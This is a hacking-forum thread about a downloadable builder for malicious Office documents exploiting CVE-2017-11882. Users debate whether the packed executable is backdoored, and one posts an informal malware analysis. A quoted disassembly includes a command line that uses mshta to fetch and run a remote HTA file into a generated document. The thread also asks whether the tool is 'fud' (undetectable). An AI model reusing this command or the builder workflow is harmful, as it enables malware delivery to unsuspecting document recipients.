Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com

Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com (/showthread.php?tid=5763308)

Pages: Pages 1 2

Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - YAK_CODER - Dec 5, 2017

Download
[deleted]
pass:the-nightmare
important
u need python 2.7 to be installed on C:\Python27

http://the-nightmare.com

add me

icq:716557549

skype:kareem.alex1

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - AnonLiv3 - Dec 8, 2017

Trying to spread your EXE try better next time man not on here ...

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - CyberStrike - Dec 8, 2017

lol I swear some people ......

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - YAK_CODER - Dec 8, 2017

(Dec 8, 2017 02:42 AM)Kingin001 Wrote: Trying to spread your EXE try better next time man not on here .

stop being an asshole
and prove what you say?
or die while you still learning

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - seedhabandha - Dec 8, 2017

i dnt know about your file that u have shared, But one thing for sure, You're really bad in front end language.
I just saw the source code of that site & Am sure dat u r either a spammer or noob or both.

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - 05317832892 - Dec 10, 2017

Looks very suspicious but I will reverse this and decide if it's malicious.

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - solononforeverreborn - Dec 10, 2017

(Dec 10, 2017 12:52 PM)ʀᴏᴏᴛᴇᴅ Wrote: Looks very suspicious but I will reverse this and decide if it's malicious.

Please do, someone give this guy rep on my behalf.

OP is it fud?

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - 05317832892 - Dec 10, 2017

Ok I am going to say this is legit but use at your own risk and definitely don't use outside of a virtual machine.

What does it do?
https://www.reverse.it/sample/d1661001c4fd28fb06510776ecfc4384dee0aa98e6858a0e7474dcae15ced425?environmentId=100

Well it appears to be just an exe wrapper that drops 2017-11882_Generator.py and executes it, it has not been modified as the sha256 is the same on github and hybrid and the one dropped in my tmp directory: https://github.com/BlackMathIT/2017-11882_Generator/blob/master/2017-11882_Generator.py

The exploit it builds does work however it is heavily detected (30+/50), it's worth noting that this CVE is very hard to obfuscate due to the nature of the exploit.

So it works and does what is says on the tin but is it backdoored?

Analysis of this sample was a bit tricky due to the packer Neolite being used. I attempted to unpack it with automated tools however the tools were not working, that's not anything to do with the exe, just I broke my unpacker and need to reinstall it. Instead I tried to manually unpack it at runtime but I gave up as my head hurts and I can't be fucked.

Going over a few interesting things:
1) Packer - 2 options as to why, reduce file size or protect code, seeing as it just reuses public code from github I doubt it was used to protect the code, maybe it was used to reduce file size but you must also consider the possibility that is it to evade analysis.
2) Dropping x.bat to %tmp% - This is harmless, it just executes the .py
3) DNS query for pomf.cat - Had DNS sniffer open on my VM when I was investigating this and there was a query to pomf.cat, I was unable to replicate this later though so I cannot confirm if it is malicious although I'm pretty sure my snapshot was clean.
4) 1 Heuristic Detection - Probably just because of the packer, nothing to worry about

My recommendations? Just run the script from github without all this packed exe bullshit.

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - CyberStrike - Dec 10, 2017

[email protected] ...

@519f57: push 0051A158h ;cmd /c C:\Python27\python.exe dle.py -x "mshta
@519f5c: lea edx, dword ptr [ebp-00000178h]
@519f62: mov eax, dword ptr [ebp-04h]
@519f65: mov eax, dword ptr [eax+0000031Ch]
@519f6b: call 0043E8BCh
@519f70: push dword ptr [ebp-00000178h]
@519f76: push 0051A194h ;" -o usg.doc

usg.doc, perhaps part of usgcrypter?

cmd /c C:\Python27\python.exe dle.py -x "mshta hxxps://www.fuck.com/hta_file" -o usg.doc

Possibly compromised site

https://www.virustotal.com/#/domain/www.fuck.com

Appears as though previously they were hosting malicious files.

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - DinamicoBoys - Dec 10, 2017

(Dec 10, 2017 01:07 PM)solononforeverreborn Wrote: Por favor, alguien le de a este chico representante en mi nombre.

OP es fud?

¡NO! 😶

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - CyberStrike - Dec 10, 2017

One thing we should all note is that hacking tools are often flagged

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - solononforeverreborn - Dec 10, 2017

(Dec 10, 2017 04:11 PM)DinamicoBoys Wrote: ¡NO! 😶

Thanks dude. This software sucks.

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - 0x53384225 - Dec 11, 2017

As previously stated, I would not use the exe and just use the .py file like everyone else. What's the purpose of the packing anyways OP?

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - CyberStrike - Dec 11, 2017

Well I would think looking at OPs posts that he doesn't infect users seeing that his business is crypting files for people.

RE: Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com - 05317832892 - Dec 11, 2017

(Dec 10, 2017 03:34 PM)sirru5h Wrote: [email protected] ...

@519f57: push 0051A158h ;cmd /c C:\Python27\python.exe dle.py -x "mshta
@519f5c: lea edx, dword ptr [ebp-00000178h]
@519f62: mov eax, dword ptr [ebp-04h]
@519f65: mov eax, dword ptr [eax+0000031Ch]
@519f6b: call 0043E8BCh
@519f70: push dword ptr [ebp-00000178h]
@519f76: push 0051A194h ;" -o usg.doc

usg.doc, perhaps part of usgcrypter?

cmd /c C:\Python27\python.exe dle.py -x "mshta hxxps://www.fuck.com/hta_file" -o usg.doc

Possibly compromised site

https://www.virustotal.com/#/domain/www.fuck.com

Appears as though previously they were hosting malicious files.

Fuck.com is the template domain. It’s not used and doesn’t actually host any malware.

USG.doc is the malware it builds